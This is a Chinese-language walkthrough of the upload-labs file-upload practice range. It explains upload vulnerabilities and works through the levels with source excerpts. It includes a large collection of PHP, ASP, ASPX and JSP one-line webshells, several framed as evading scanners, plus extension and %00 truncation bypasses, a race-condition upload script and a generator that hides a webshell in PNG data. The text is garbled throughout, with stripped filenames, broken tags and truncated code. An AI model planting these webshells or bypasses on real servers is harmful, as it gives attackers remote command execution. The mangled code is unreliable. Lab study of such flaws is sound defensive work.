2023年11月25日发(作者:)

upload-labs通关详解以及相关知识点

⽂章⽬录

upload-labs所有绕过技巧

图⽚马的制作:

什么是⽂件上传漏洞

⽂件上传漏洞是指由于程序员在对⽤户⽂件上传部分的控制不⾜或者处理缺陷,⽽导致的⽤户可以越过其本⾝权限向服务器上上传可执⾏的

动态脚本⽂件。这⾥上传的⽂件可以是⽊马,病毒,恶意脚本或者WebShell等。“⽂件上传”本⾝没有问题,有问题的是⽂件上传后,服

务器怎么处理、解释⽂件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

什么是webshell

WebShell就是以asp、php、jsp或者cgi等⽹页⽂件形式存在的⼀种命令执⾏环境,也可以将其称之为⼀种⽹页后门。攻击者在⼊侵了⼀个

⽹站后,通常会将这些asp或php后门⽂件与⽹站服务器web⽬录下正常的⽹页⽂件混在⼀起,然后使⽤浏览器来访问这些后门,得到⼀个

命令执⾏环境,以达到控制⽹站服务器的⽬的(可以上传下载或者修改⽂件,操作数据库,执⾏任意命令等)。 WebShell后门隐蔽较性

⾼,可以轻松穿越防⽕墙,访问WebShell时不会留下系统⽇志,只会在⽹站的web⽇志中留下⼀些数据提交记录

⼀句话⽊马

PHP马:

##PHP

@eval($_POST['r00ts']);?>

phpinfo();?>

@eval($_POST[cmd]);?>

@eval($_REQUEST[cmd]);?>

assert($_REQUEST[cmd]); ?>

//?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>

//?cmd=phpinfo();

$func =create_function('',$_REQUEST['cmd']);

$func();

>

//?func=system&cmd=whoami

$func=$_GET['func'];

$cmd=$_GET['cmd'];

$array[0]=$cmd;

$new_array=array_map($func,$array);

//print_r($new_array);

>

//?cmd=phpinfo()

@call_user_func(assert,$_GET['cmd']);

>

//?cmd=phpinfo()

$cmd=$_GET['cmd'];

$array[0]=$cmd;

call_user_func_array("assert",$array);

>

//?func=system&cmd=whoami

$cmd=$_GET['cmd'];

$array1=array($cmd);

$func =$_GET['func'];

array_filter($array1,$func);

>

usort($_GET,'asse'.'rt');?> php环境>=<5.6才能⽤

usort(...$_GET);?> php环境>=5.6才能⽤

eval($_POST1);?>

if(isset($_POST['c'])){eval($_POST['c']);}?>

system($_REQUEST1);?>

($_=@$_GET1).@$_($_POST1)?>

($_=@$_GET1).@$_($_POST1)?>

eval_r($_POST1)?>

@eval_r($_POST1)?>//

容错代码

assert($_POST1);?>//LankerPHP

使⽤⼀句话客户端的专家模式执⾏相关的语句

['c']($_POST['cc']);?>

['c']($_POST['cc'],$_POST['cc'])?>

@preg_replace("/[email]/e",$_POST['h'],"error");?>/*,""*/:<O>h=@eval_r($_POST

使⽤这个后使⽤菜⼑⼀句话客户端在配置连接的时候在配置⼀栏输⼊

1);O>

echo `$_GET['r']` ?>

<script language="php">@eval_r($_POST[sb])script> //

绕过限制的⼀句话

(])?> 上⾯这句是防杀防扫的!⽹上很少⼈⽤!可以插在⽹页任何ASP⽂件的最底部不会出错,⽐如 index.asp⾥⾯也是可以的!

if(isset($_POST['1'])){eval($_POST['1']);}?> system ($_REQUEST[1]);?>

加了判断的PHP⼀句话,与上⾯的ASP⼀句话相同道理,也是可以插在任何PHP⽂件 的最底部不会出错!

<%execute request(class)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (class)%><%execute request(class)'<% loop <%:%>

⽆防下载表,有防下载表可尝试插⼊以下语句突破的⼀句话

<%eval(request(1)):response.end%> 备份专⽤

JSP马

##JSP

<%if(ameter("f")!=null)(tputStream (lPath("")+ameter("f"))).write (ameter(

"t").getBytes());%>

提交客户端

<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>`

ASP马

##ASP

<%eval(["r00ts"],”unsafe”);%>

<%IfRequest(“1)<>”"ThenExecuteGlobal(Request(“1))%>

<%execute(request(“1))%>

<scriptrunat=server>execute request(“1)</script> 不⽤'<,>asp⼀句话

aspx马

##aspx

<scriptrunat=”server”> aaaaa = (“add6bb58e139be10);</script>

<script language="C#"runat="server"> a=("add6bb58e139be10")</script>

<%eval request(chr(35))%> 不⽤双引号的⼀句话。

产⽣⽂件上传漏洞的原因

原因:

对于上传⽂件的后缀名(扩展名)没有做较为严格的限制

对于上传⽂件的MIMETYPE(⽤于描述⽂件的类型的⼀种表述⽅法) 没有做检查

权限上没有对于上传的⽂件⽬录设置不可执⾏权限,(尤其是对于shebang类型的⽂件)

web server对于上传⽂件或者指定⽬录的⾏为没有做限制

原理:

在 WEB 中进⾏⽂件上传的原理是通过将表单设为 multipart/form-data,同时加⼊⽂件域,⽽后通过 HTTP 协议将⽂件内容发送到服务

器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的⽂件内容提取出来并保存的。通常,在进⾏⽂件保存的时候,服务器端会

读取⽂件的原始⽂件名,并从这个原始⽂件名中得出⽂件的扩展名,⽽后随机为⽂件起⼀个⽂件名 ( 为了防⽌重复 ),并且加上原始⽂件的

扩展名来保存到服务器上

⽂件上传后导致的常见安全问题⼀般有:

上传⽂件是Web脚本语⾔,服务器的Web容器解释并执⾏了⽤户上传的脚本,导致代

码执⾏;

上传⽂件是Flash的策略⽂件,⿊客⽤以控制Flash在该域下的⾏为(其

他通过类似⽅式控制策略⽂件的情况类似);

上传⽂件是病毒、⽊马⽂件,⿊客⽤以诱骗⽤户或者管理员下载执⾏:

上传⽂件是钓鱼图⽚或为包含了脚本的图⽚,在某些版本的浏览器中会被作为脚本执

⾏,被⽤于钓鱼和欺诈。

除此之外,还有⼀些不常见的利⽤⽅法,⽐如将上传⽂件作为⼀个⼊⼝,溢出服务器的后台处理程序,如图⽚解析模块;或者上传-⼀个合法的

⽂本⽂件, 其内容包含了PHP脚本,再通过“本地⽂件包含漏洞(Local File Include)"执⾏此脚本;等等。此类问题不在此细述。

第⼀关 JS绕过

开启代理抓包,发现没有产⽣流量就进⾏验证了,说明是前端JS验证

将相应的js⽂件删除即可

源码:

function checkFile() {

var file = document.getElementsByName('upload_file')[0].value;

if (file == null || file == "") {

alert("请选择要上传的⽂件!");

return false;

}

//

定义允许上传的⽂件类型

var allow_ext = ".jpg|.png|.gif";

//

提取上传⽂件的类型

var ext_name = file.substring(file.lastIndexOf("."));

//

判断上传⽂件类型是否允许上传

if (allow_ext.indexOf(ext_name + "|") == -1) {

var errMsg = "该⽂件不允许上传,请上传" + allow_ext + "类型的⽂件,当前⽂件类型为:" + ext_name;

alert(errMsg);

return false;

}

}

通过源码分析得知:

只允许.jpg|.png|.gif这三种后缀的⽂件上传。

绕过⽅法:

1.

将上传的⽂件名(filename)改为PHP后缀的。

2.

查看⽂件返回路径,⽤蚁剑连接。

第⼆关 ⽂件类型绕过

将content-type改为image/jpeg

即可绕过。

第三关 其他可解析类型绕过

上传PHP⽂件失败,根据返回的页⾯数据,判断应该是做了简单的⿊名单处理。所以我们可以使⽤⼀些其他可解析的⽂件。

例如.php3

.php5等。

#

后缀绕过常⽤⼿段

PHP:

php2php3php5phtmlpht(是否解析需要根据配置⽂件中设置类型来决定)

ASP

asacercdx

ASPX

ascxashxasac

JSP

jspjspxjspf

为什么上⾯的东西可以绕过呢?

这是利⽤了配置中正则解析的⼩错误实现的。

这些后缀名都可以被当做php⽂件执⾏。符合的后缀包括 php、php3、php4、php5、phtml、pht等,有时候需要挨个进⾏尝试

如同第⼀关进⾏修改后缀操作,不同的是这⾥不需要改包,通过burpsuit获得上传⽂件路径即可,直接⽤蚁剑进⾏连接,因为上⾯的后缀修

改后都可以解析成相应的⽂件(phtml->php)

上传成功:

第四关 上传.htacess⽂件绕过

思路⼀:不能上传php,但能上传,,说明是⿊名单限制,但是场景三中⽅法如:php3,phtml都被限制了,查看提⽰⼏乎所

有可以绕过的后缀名都被限制了,但是没有禁⽌.htaccess,可以先上传⼀个.htaccess覆写后让所有⽂件解析为php,然后再上传⼀个图⽚

htaccess⽂件是Apache服务器中的⼀个配置⽂件,它负责相关⽬录下的⽹页配置。通过htaccess⽂件,可以帮我们实现:⽹页301重定

向、⾃定义404错误页⾯、改变⽂件扩展名、允许/阻⽌特定的⽤户或者⽬录的访问、禁⽌⽬录列表、配置默认⽂档等功能

//.htaccess 修改⽂件

SetHandler application/x-httpd-php

中加⼊以下语句,从⽽禁⽌⽂件名格式为*.php.*的访问权限:

<FilesMatch “.(php.|php3.|php4.|php5.)>

Order Deny,Allow

Deny from all

解决⽅案⼆

如果需要保留⽂件名,可以修改程序源代码,替换上传⽂件名中的“.”“_”

$filename = str_replace(’.’, ‘_’, $filename);

思路三:

利⽤PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:

双引号" = 点号.

⼤于符号> = 问号?

⼩于符号< = 星号*

先上传⼀个名为:.jpg的⽂件,上传成功后会⽣成的空⽂件,⼤⼩为0KB.

然后将⽂件名改为4.<或4.<<<或4.>>>或4.>><后再次上传,重写⽂件内容,Webshell代码就会写⼊原来的空⽂件中。

五,六

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

if (file_exists(UPLOAD_PATH)) {

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".

jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".

aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

$file_name = trim($_FILES['upload_file']['name']);

$file_name = deldot($file_name);//删除⽂件名末尾的点

$file_ext = strrchr($file_name, '.');

$file_ext = strtolower($file_ext); //转换为⼩写

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

$file_ext = trim($file_ext); //⾸尾去空

if (!in_array($file_ext, $deny_ext)) {

$temp_file = $_FILES['upload_file']['tmp_name'];

$img_path = UPLOAD_PATH.'/'.$file_name;

if (move_uploaded_file($temp_file, $img_path)) {

$is_upload = true;

} else {

$msg = '上传出错!';

}

} else {

$msg = '此⽂件类型不允许上传!';

}

} else {

$msg = UPLOAD_PATH . '⽂件夹不存在,请⼿⼯创建!';

}

}

使⽤第四关的增加后缀冗余实现绕过。

也可尝试后缀名⼤⼩绕过。

如果没有对后缀去空,那么可以使⽤:

利⽤Windows系统的⽂件名特性。⽂件名最后增加空格,写成 ,上传后保存在Windows系统上的⽂件名最后的⼀个空格会被去

掉,实际上保存的⽂件名就是

第七关 空格绕过

源码:

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

if (file_exists(UPLOAD_PATH)) {

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".

jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".

aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

$file_name = $_FILES['upload_file']['name'];

$file_name = deldot($file_name);//删除⽂件名末尾的点

$file_ext = strrchr($file_name, '.');

$file_ext = strtolower($file_ext); //转换为⼩写

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {

$temp_file = $_FILES['upload_file']['tmp_name'];

$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

if (move_uploaded_file($temp_file,$img_path)) {

$is_upload = true;

} else {

$msg = '上传出错!';

}

} else {

$msg = '此⽂件不允许上传';

}

} else {

$msg = UPLOAD_PATH . '⽂件夹不存在,请⼿⼯创建!';

}

}

通过对源码分析:

可以发现,去除了.所以不能使⽤点绕过,可以使⽤空格绕过。使⽤bp抓包后在filename的后缀后⾯加

同理,如果没有对.过滤,那么就可以使⽤.绕过

也可以使⽤后缀名冗余。

第⼋关:点绕过

源码分析:

if (isset($_POST['submit'])) {

if (file_exists(UPLOAD_PATH)) {

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".

jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".

aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

$file_name = trim($_FILES['upload_file']['name']);

$file_ext = strrchr($file_name, '.');

$file_ext = strtolower($file_ext); //转换为⼩写

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

$file_ext = trim($file_ext); //⾸尾去空

发现没对.过滤,使⽤.绕过。

第九关 ::$DATA⽂件流特性绕过

源码分析:

if (isset($_POST['submit'])) {

if (file_exists(UPLOAD_PATH)) {

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".

jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".

aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

$file_name = trim($_FILES['upload_file']['name']);

$file_name = deldot($file_name);//删除⽂件名末尾的点

$file_ext = strrchr($file_name, '.');

$file_ext = strtolower($file_ext); //转换为⼩写

$file_ext = trim($file_ext); //⾸尾去空

发现没有对::

DATA进⾏过滤,所以利⽤windowsNTFS⽂件系统特性绕过。传上one.phpburpsuit改包,增加后缀::

DATA即可上传并获得上传路径。

第⼗关 多点和空格绕过

源码:

if (isset($_POST['submit'])) {

if (file_exists(UPLOAD_PATH)) {

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".

jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".

aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

$file_name = trim($_FILES['upload_file']['name']);

$file_name = deldot($file_name);//删除⽂件名末尾的点

$file_ext = strrchr($file_name, '.');

$file_ext = strtolower($file_ext); //转换为⼩写

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

$file_ext = trim($file_ext); //⾸尾去空

虽然会对.和空格进⾏过滤,但是只会过滤⼀次。

所以我们可以通过写多个点和空格进⾏绕过。

第⼗⼀关 双写⽂件名绕过

查看源码:

if (isset($_POST['submit'])) {

if (file_exists(UPLOAD_PATH)) {

$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx

","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);

$file_name = str_ireplace($deny_ext,"", $file_name);

$temp_file = $_FILES['upload_file']['tmp_name'];

$img_path = UPLOAD_PATH.'/'.$file_name;

这个上传发现什么都可以传,但是其后缀被修改了,⽆法正常解析。因为下⾯这句新增的控制语句:

$file_name = str_ireplace($deny_ext,"", $file_name);

说明只要出现⿊名单⾥⾯的字样都会被替换成空格。有什么办法绕过呢?这个就像脑筋急转弯⼀样。

我们不妨构造类似pphphp这种字段的后缀,这⾥有个地⽅可以思考,那就是构造这种模式的字符串是按照从前往后替换还是从前往后替换

呢?也就是pphphp、phphpp是否能⾏?都⾏,还是那个⾏那个不⾏。这个可以动⼿尝试⼀下

pphphp(php) phphpp(hpp)

构造:pphhph可以绕过

第⼗⼆关 ⽂件路径%00截断

通过抓包截断将【】后⾯的⼀个【.】换成【0x00】。在上传的时候,当⽂件系统读到【0x00】时,会认为⽂件已经结束,从

⽽将【】的内容写⼊到【】中,从⽽达到攻击的⽬的。

截断条件:

php版本⼩于5.3.4 详情关注CVE-2006-7243

php的magic_quotes_gpc为OFF状态

源码分析:

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

$ext_arr = array('jpg','png','gif');

$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

if(in_array($file_ext,$ext_arr)){

$temp_file = $_FILES['upload_file']['tmp_name'];

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){

$is_upload = true;

} else {

$msg = '上传出错!';

}

} else{

$msg = "只允许上传.jpg|.png|.gif类型⽂件!";

}

}

做题之前先要把⽹站中的中的安全设置修改⼀下。

⽂件⾥的magic_quotes_gpc设成了off,那么PHP就不会在敏感字符前加上反斜杠()

通过 上⾯的场景,⿊名单虽然对很多的⽂件上传都做了限制,规定那些不能上传,但是总是有⼀些其他的⽅法可以实现绕过,所以⿊名单

是相对于⽩名单来说安全级别很低的。

这个场景是⼀个⽩名单。并且⽂件名是拼接⽽成。

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

可以通过截断上传(0x00,%00,/00 )实现。

上传路径名%00截断绕过。上传的⽂件名写成,

save_path改成…/upload/%00,最后保存下来的⽂件就是

第⼗三关:post路径%00截断

源码分析:

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

$ext_arr = array('jpg','png','gif');

$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

if(in_array($file_ext,$ext_arr)){

$temp_file = $_FILES['upload_file']['tmp_name'];

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){

$is_upload = true;

} else {

$msg = '上传出错!';

}

} else{

$msg = "只允许上传.jpg|.png|.gif类型⽂件!";

}

}

可以看到使⽤的是⽩名单过滤,但是可以看到⽂件路径中的$_GET[‘save_path’]变成了 $_POST[‘save_path’]。这⼜会造成什么区别呢?

post不会像get%00进⾏⾃动解码

也就是说我们不能直接在包中直接加⼊截断字符了需要⼿动进⾏url编码处理(只需要对%00进⾏转码就可以了)

得到:

我们可以使⽤hex(⼗六进制编码)加上00截断。

第⼗四关 ⽂件头检测

这题是上传图⽚马,但是想要利⽤图⽚马还需要结合⽂件包含漏洞,所以本题只需要上传三种图⽚格式的⽂件码就⾏了。

制作图⽚马⽅法:

copy /b + /a

直接通过抓包改包也可以直接上传只修改了后缀的⼀句话⽊马php⽂件。

<?php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,

0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,

0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,

0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,

0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,

0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,

0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,

0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {

$r = $p[$y];

$g = $p[$y+1];

$b = $p[$y+2];

$color = imagecolorallocate($img, $r, $g, $b);

imagesetpixel($img, round($y / 3), 0, $color);

}

imagepng($img,'./');

>

运⾏脚本⽣成,发现⽊马被写⼊。

可以直接⽣成不会被杀的图⽚马。

⼗⼋关 条件竞争上传

源码分析:

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

$ext_arr = array('jpg','png','gif');

$file_name = $_FILES['upload_file']['name'];

$temp_file = $_FILES['upload_file']['tmp_name'];

$file_ext = substr($file_name,strrpos($file_name,".")+1);

$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){

if(in_array($file_ext,$ext_arr)){

$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;

rename($upload_file, $img_path);

$is_upload = true;

}else{

$msg = "只允许上传.jpg|.png|.gif类型⽂件!";

unlink($upload_file);

}

}else{

$msg = '上传出错!';

}

}

题⽬提⽰我们代码审计。⾸先了解⼀下$_file函数,

通过使⽤ PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传⽂件。

第⼀个参数是表单的 input name,第⼆个下标可以是 “name”, “type”, “size”, “tmp_name” 或 “error”。就像这样:

$_FILES["file"]["name"] - 被上传⽂件的名称

$_FILES["file"]["type"] - 被上传⽂件的类型

$_FILES["file"]["size"] - 被上传⽂件的⼤⼩,以字节计

$_FILES["file"]["tmp_name"] - 存储在服务器的⽂件的临时副本的名称

$_FILES["file"]["error"] - 由⽂件上传导致的错误代码

先将⽂件上传到服务器,然后通过rename修改名称,再通过unlink删除修改名称后的⽂件,这⾥可以通过条件竞争的⽅式在unlink之前,

访问webshell。

⾸先在burp中不断发送上传webshell的数据包即可。

为什么可以这样操作呢?之前的场景为什么不⾏呢?我们可以仔细看到这⾥的代码是不⼀样的构造。

$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

$ext_arr = array('jpg','png','gif');

$file_name = $_FILES['upload_file']['name'];

$temp_file = $_FILES['upload_file']['tmp_name'];

$file_ext = substr($file_name,strrpos($file_name,".")+1);

$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){

if(in_array($file_ext,$ext_arr)){

$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;

rename($upload_file, $img_path);

$is_upload = true;

}else{

$msg = "只允许上传.jpg|.png|.gif类型⽂件!";

unlink($upload_file);

}

}else{

$msg = '上传出错!';

}

}

其实这个代码都没啥⼤问题,执⾏下来都是OK的,但是这⾥是这样操作的,先通过move_uploaded_file把⽂件保存了,然后再去判断后缀

名是否合法,合法就重命名,如果不合法再删除。重是重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原⽂件,这样

就会导致被绕过防护。下⾯是我随便找的之前的某⼀关,很明显看到之前代码是先改名,再移动保存。所以可以⽤条件竞争打他个措⼿不

及,使得⽂件保存了但是没能及时处理。

那么怎么利⽤条件竞争呢?

1.

使⽤竞争条件上传,⽤burp⼀直上传⽂件,⽤python脚本⼀直访问临时⽂件,临时⽂件内容为我们写⼊⼀句话到它的⽬录。

其中python代码如下:

import requests

def main():

i=0

while 1:

try:

print(i,end='r')

test = requests.get("192.168.44.129:9096/upload/upload/") //写⼊上传位置路径地址

if "260ca9dd8a4577fc00b7bd5810298076" in test.text:

print("OK")

break

except Exception as e:

pass

i+=1

if __name__ == '__main__':

main()

上传⽂件写⼊代码如下:

<?PHP

echo md5(success);

fputs(fopen('','w'),'');

>

⽤burpsuit进⾏抓包,清除掉payload位置。并且将payload选择no payload,将负载调成500。设置好后就可以开始了。

同时将我们的python⽂件运⾏。

第⼗九关 条件竞争上传

代码审计:

<li id="show_code">

<h3>index.php代码h3>

<pre>

<code class="line-numbers language-php">//index.php

$is_upload = false;

$msg = null;

if (isset($_POST['submit']))

{

require_once("./");

$imgFileName =time();

$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);

$status_code = $u->upload(UPLOAD_PATH);

switch ($status_code) {

case 1:

$is_upload = true;

$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;

break;

case 2:

$msg = '⽂件已经被上传,但没有重命名。';

break;

case -1:

$msg = '这个⽂件不能上传到服务器的临时⽂件存储⽬录。';

break;

case -2:

$msg = '上传失败,上传⽬录不可写。';

break;

case -3:

$msg = '上传失败,⽆法上传该类型⽂件。';

break;

case -4:

$msg = '上传失败,上传的⽂件过⼤。';

break;

case -5:

$msg = '上传失败,服务器已经存在相同名称⽂件。';

break;

case -6:

$msg = '⽂件⽆法上传,⽂件不能复制到⽬标⽬录。';

break;

default:

$msg = '未知错误!';

break;

}

}

//myupload.php

class MyUpload{

......

......

......

var $cls_arr_ext_accepted = array(

".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",

".html", ".xml", ".tiff", ".jpeg", ".png" );

......

......

......

/** upload()

**

** Method to upload the file.

** This is the only method to call outside the class.

** @para String name of directory we upload to

** @returns void

**/

function upload( $dir ){

function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){

return $this->resultUpload( $ret );

}

$ret = $this->setDir( $dir );

if( $ret != 1 ){

return $this->resultUpload( $ret );

}

$ret = $this->checkExtension();

if( $ret != 1 ){

return $this->resultUpload( $ret );

}

$ret = $this->checkSize();

if( $ret != 1 ){

return $this->resultUpload( $ret );

}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();

if( $ret != 1 ){

return $this->resultUpload( $ret );

}

}

// if we are here, we are ready to move the file to destination

$ret = $this->move();

if( $ret != 1 ){

return $this->resultUpload( $ret );

}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){

$ret = $this->renameFile();

if( $ret != 1 ){

return $this->resultUpload( $ret );

}

}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}

......

......

......

};

code>

pre>

li>

根据apache的后缀名识别漏洞:从右往左依次识别后缀,遇到不能识别的后缀名便跳过 ,因此可以⽂件名改为

.7z,然后利⽤bs 快速发包,

本关对⽂件后缀名做了⽩名单判断,然后会⼀步⼀步检查⽂件⼤⼩、⽂件是否存在等等,将⽂件上传后,对⽂件重新命名,同样存在条件竞

争的漏洞。可以不断利⽤burp发送上传图⽚马的数据包,因为move在rename之前,move操作进⾏了⼀次⽂件保存,然后rename进⾏了

⼀次更改⽂件名,由于条件竞争,程序会出现来不及rename的问题,从⽽上传成功

所以本题相对上题是差不多的,只不过多了⼀部操作⽽已:增加Apache的解析识别漏洞(后缀冗余)

(1)利⽤Apache 的漏洞,将webshell 脚本⽂件名改为.7z (⽩名单中 有.7z 这个apache 不能识别的后缀,所以⽤.7z)

然后利⽤bs 去不断快速发包,实现条件竞争,进⽽保留了脚本名,使apache 将其识别为

(2)单纯利⽤ 条件竞争,利⽤bs 去不断快速发包,实现条件竞争,进⽽保留了图⽚马的⽂件名,成功绕过

第⼆⼗关 %00截断

$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

```php

$is_upload = false;

$msg = null;

if(!empty($_FILES['upload_file'])){

//检查MIME

$allow_type = array('image/jpeg','image/png','image/gif');

if(!in_array($_FILES['upload_file']['type'],$allow_type)){

$msg = "禁⽌上传该类型⽂件!";

}else{

//检查⽂件名

$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

if (!is_array($file)) {

参考⽂章: